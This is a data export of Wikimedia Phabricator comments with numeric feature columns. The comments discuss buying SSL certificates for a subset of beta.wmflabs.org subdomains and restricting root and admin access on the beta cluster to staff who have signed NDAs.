For the avoidance of doubt: we're not doing them all, just a subset. SSL certs are a racket and expensive.",,,1393023963,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,18.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,11.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,3.2954545454545454,0.8636363636363636,"(In reply to Kunal Mehta (Legoktm) from comment #78)
QUOTE
QUOTE

For the avoidance of doubt: we're not doing them all, just a subset. SSL certs are a racket and expensive."
227455,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,http://commons.wikimedia.beta.wmflabs.org/ is important,,,1393023530,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,URL is important
227447,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix is the full list.

There are some weird ones like 'ee-prototype'.",,,1393023457,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.8947368421052632,"URL is the full list.

There are some weird ones like 'ee-prototype'."
227440,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"login.wikipedia.beta.wmflabs.org
meta.wikipedia.beta.wmflabs.org
en.wikipedia.beta.wmflabs.org
bits.beta.wmflabs.org
upload.beta.wmflabs.org (for some icons on meta/login)

That's all I can see from the network calls.

Antoine/Chris/Chris: confirm?",,,1393023342,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,10.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.8205128205128205,"login.wikipedia.beta.wmflabs.org
meta.wikipedia.beta.wmflabs.org
en.wikipedia.beta.wmflabs.org
bits.beta.wmflabs.org
upload.beta.wmflabs.org (for some icons on meta/login)

That's all I can see from the network calls.

Antoine/Chris/Chris: confirm?"
227434,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Because of the necessity to have a default CA sign this, we need to buy individual certificates.  Please provide a definite list of domain names, and I'll get that ball rolling.",,,1393019538,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.972972972972973,0.8648648648648649,"Because of the necessity to have a default CA sign this, we need to buy individual certificates.  Please provide a definite list of domain names, and I'll get that ball rolling."
227427,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I think we do want it, on a limited set of subdomains to keep the cost down.

Beta's:
- loginwiki (so we can check SUL interactions)
- metawiki (so OAuth works correctly and securely)
- another wiki, maybe enwiki? (to catch other SUL login/wgSecureLogin issues)
- Oh, and to make enwiki work, the bits domain would also need a cert",,,1390496204,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,5.0,9.0,9.0,1.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.419753086419753,0.7283950617283951,"I think we do want it, on a limited set of subdomains to keep the cost down.

Beta's:
- loginwiki (so we can check SUL interactions)
- metawiki (so OAuth works correctly and securely)
- another wiki, maybe enwiki? (to catch other SUL login/wgSecureLogin issues)
- Oh, and to make enwiki work, the bits domain would also need a cert"
227419,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We have stopped running browser tests over https. 

I think we still want SSL for labs, but I don't know of anyone actively working on that right now.",,,1390487679,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,29,,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,15.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.727272727272727,0.9393939393939394,"We have stopped running browser tests over https. 

I think we still want SSL for labs, but I don't know of anyone actively working on that right now."
227413,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #72)
> Still highest priority.  We want to get that done while I am in SF, hopefully
> this afternoon (PST time).

Sorry, was referring to another bug :-/


Regarding SSL certificates on beta, I am not sure what the status is.  Maybe Greg/Chris would know.  We might have a workaround now or simply stopped running browser tests over HTTPS.",,,1390442784,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,8.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,20.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,8.0,10.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.6721311475409837,0.8852459016393442,"(In reply to comment #72)
QUOTE
QUOTE

Sorry, was referring to another bug :-/


Regarding SSL certificates on beta, I am not sure what the status is.  Maybe Greg/Chris would know.  We might have a workaround now or simply stopped running browser tests over HTTPS."
227406,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Still highest priority.  We want to get that done while I am in SF, hopefully this afternoon (PST time).",,,1390420537,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.44,0.96,"Still highest priority.  We want to get that done while I am in SF, hopefully this afternoon (PST time)."
227397,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
Any updates (or should this not be highest priority)?",,,1390406116,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,29,,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,7.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,10.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.7241379310344827,0.9655172413793104,"Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
Any updates (or should this not be highest priority)?"
227388,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Would it be an option to flatten our subdomains?

We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate

(at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)

For example:

* beta.wmflabs.org
* bits.beta.wmflabs.org
* wikimedia.beta.wmflabs.org
* commons-wikimedia.beta.wmflabs.org
* wikipedia.beta.wmflabs.org
* en-wikipedia.beta.wmflabs.org
* nl-wikibooks.beta.wmflabs.org
* en-m-wikibooks.beta.wmflabs.org
* en-m-wikinews.beta.wmflabs.org",,,1387423868,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,5.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,4.0,8.0,15.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.094594594594595,0.6756756756756757,"Would it be an option to flatten our subdomains?

We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate

(at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)

For example:

* beta.wmflabs.org
* bits.beta.wmflabs.org
* wikimedia.beta.wmflabs.org
* commons-wikimedia.beta.wmflabs.org
* wikipedia.beta.wmflabs.org
* en-wikipedia.beta.wmflabs.org
* nl-wikibooks.beta.wmflabs.org
* en-m-wikibooks.beta.wmflabs.org
* en-m-wikinews.beta.wmflabs.org"
227379,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Reason in comment 16 is past (testing of new default HTTPS access), but warning message in Selenium probably still justifies highest prio? (for four months now)

(In reply to comment #68)
> The related ticket is https://rt.wikimedia.org/Ticket/Display.html?id=6116

To summarize the RT ticket: Prices offered by SSL vendors felt out of scope.

Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
Any updates?",,,1387200913,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,24,,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,5.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,16.0,1.0,2.0,2.0,0.0,0.0,0.0,1.0,5.0,0.0,4.0,0.0,1.0,15.0,10.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.765432098765432,0.7901234567901234,"Reason in comment 16 is past (testing of new default HTTPS access), but warning message in Selenium probably still justifies highest prio? (for four months now)

(In reply to comment #68)
QUOTE

To summarize the RT ticket: Prices offered by SSL vendors felt out of scope.

Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
Any updates?"
227373,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Buying certs is pending approval according to RobH a few days ago.  The related ticket is https://rt.wikimedia.org/Ticket/Display.html?id=6116,,,1384430488,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,19,,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,4.052631578947368,0.9473684210526315,Buying certs is pending approval according to RobH a few days ago.  The related ticket is URL
227370,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
I have cleaned up permissions on the deployment-prep labs project (ie: beta cluster).

The project admins are now limited to people from the Wikimedia ops and mw-core teams.

Root access has been limited to people having signed a non disclosure agreement with Wikimedia.


The reason for this change is to let us put real SSL certificates on the Varnish caches which would let us support HTTPS on the beta cluster.  We want to keep access to the certificates restricted, hence the change.


Please review the list of admins and sudo policy for the deployment-prep project on:

https://wikitech.wikimedia.org/wiki/Special:NovaProject
https://wikitech.wikimedia.org/wiki/Special:NovaSudoer",,,1383836540,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,1.0,0.0,4.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,10.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,18.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,7.5,2.0,8.5,0.0,1.5,8.5,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,0.5,1.5,0.5,0.0,0.0,0.5,4.049180327868852,0.7868852459016393,"
I have cleaned up permissions on the deployment-prep labs project (ie: beta cluster).

The project admins are now limited to people from the Wikimedia ops and mw-core teams.

Root access has been limited to people having signed a non disclosure agreement with Wikimedia.


The reason for this change is to let us put real SSL certificates on the Varnish caches which would let us support HTTPS on the beta cluster.  We want to keep access to the certificates restricted, hence the change.


Please review the list of admins and sudo policy for the deployment-prep project on:

URL
URL"
227365,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"> 1. Remove projectadmin permissions from volunteers

I also just removed TheDJ since he didn't have an NDA on file and he didn't respond to my email asking if he wanted to sign one.

> 2. Clean up sudo policies to disallow root on varnish systems (that will have
> real certs)

Apparently the sudo policies are set up at https://wikitech.wikimedia.org/wiki/Special:NovaSudoer. It looks like most of them have sudo enabled for ""ALL"" hosts. I imagine disabling their root privileges on varnish systems just entails unchecking some of these hosts. Unfortunately, I'm not sure which of these hosts are varnish systems. Is it all 4 of the deployment-cache hosts? Any others?

> 3. Buy * certs

Good to hear that's in progress.",,,1383677201,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,18,,3.0,0.0,0.0,0.5,2.0,5.0,1.0,0.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,2.5,0.0,5.0,10.0,0.0,1.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,6.5,1.5,1.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,11.0,1.0,0.5,8.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,7.0,10.0,2.5,1.5,1.0,0.0,7.0,0.0,1.0,0.5,0.5,1.5,0.0,0.5,0.0,3.780245470485096,0.7776154295733488,"QUOTE

I also just removed TheDJ since he didn't have an NDA on file and he didn't respond to my email asking if he wanted to sign one.

QUOTE
QUOTE

Apparently the sudo policies are set up at URL It looks like most of them have sudo enabled for ""ALL"" hosts. I imagine disabling their root privileges on varnish systems just entails unchecking some of these hosts. Unfortunately, I'm not sure which of these hosts are varnish systems. Is it all 4 of the deployment-cache hosts? Any others?

QUOTE

Good to hear that's in progress."
227360,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #46)
> Summary of IRC conversation:
> 
> 1. Remove projectadmin permissions from volunteers

{{DONE}}, see list of members at: https://wikitech.wikimedia.org/wiki/Nova_Resource:Deployment-prep

> 2. Clean up sudo policies to disallow root on varnish systems (that will have
> real certs)

Not sure what needs to happen here. Tips/Pointers? I think Antoine had some ideas?

> 3. Buy * certs

In progress: https://rt.wikimedia.org/Ticket/Display.html?id=6116",,,1383162153,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,10.0,10.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0338983050847457,0.6779661016949152,"(In reply to comment #46)
QUOTE
QUOTE
QUOTE

{{DONE}}, see list of members at: URL

QUOTE
QUOTE

Not sure what needs to happen here. Tips/Pointers? I think Antoine had some ideas?

QUOTE

In progress: URL"
227355,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"So I took the bug thinking the cert was blocking everything, however that is not the case.

I will handle the purchase of the certificate, but I am not claiming any ownership over any other part of this process =]

We get purchase approvals within our closed ticketing system, RT#6116.  (I've set Hashar as requestor for that ticket.)  Once its purchased I'll post in here as well.",,,1383072339,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,2.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,9.0,0.0,10.0,10.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,10.0,10.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8658536585365852,0.7439024390243902,"So I took the bug thinking the cert was blocking everything, however that is not the case.

I will handle the purchase of the certificate, but I am not claiming any ownership over any other part of this process =]

We get purchase approvals within our closed ticketing system, RT#6116.  (I've set Hashar as requestor for that ticket.)  Once its purchased I'll post in here as well."
227351,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,unassigning from Ryan to reflect reality.,,,1383070552,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.142857142857143,1.0,unassigning from Ryan to reflect reality.
227345,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #46)
> 2. Clean up sudo policies to disallow root on varnish systems (that will have
> real certs)

I assume this means that non-admins should not have sudo on these machines?",,,1383070383,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,24.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3793103448275863,0.9310344827586207,"(In reply to comment #46)
QUOTE
QUOTE

I assume this means that non-admins should not have sudo on these machines?"
227338,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #58)
> Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need
> to be taken, and they can be taken by anyone that has projectadmin in
> deployment-prep. Someone needs to take ownership of this situation and run
> with it.

I think the problem is that no one is quite sure how to do those things. I'm not sure otherwise I would JFDI.",,,1383070340,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,21.0,5.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,7.0,9.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.116279069767442,0.7209302325581395,"(In reply to comment #58)
QUOTE
QUOTE
QUOTE
QUOTE

I think the problem is that no one is quite sure how to do those things. I'm not sure otherwise I would JFDI."
227330,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Secure login is disabled,,,1383070174,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Secure login is disabled
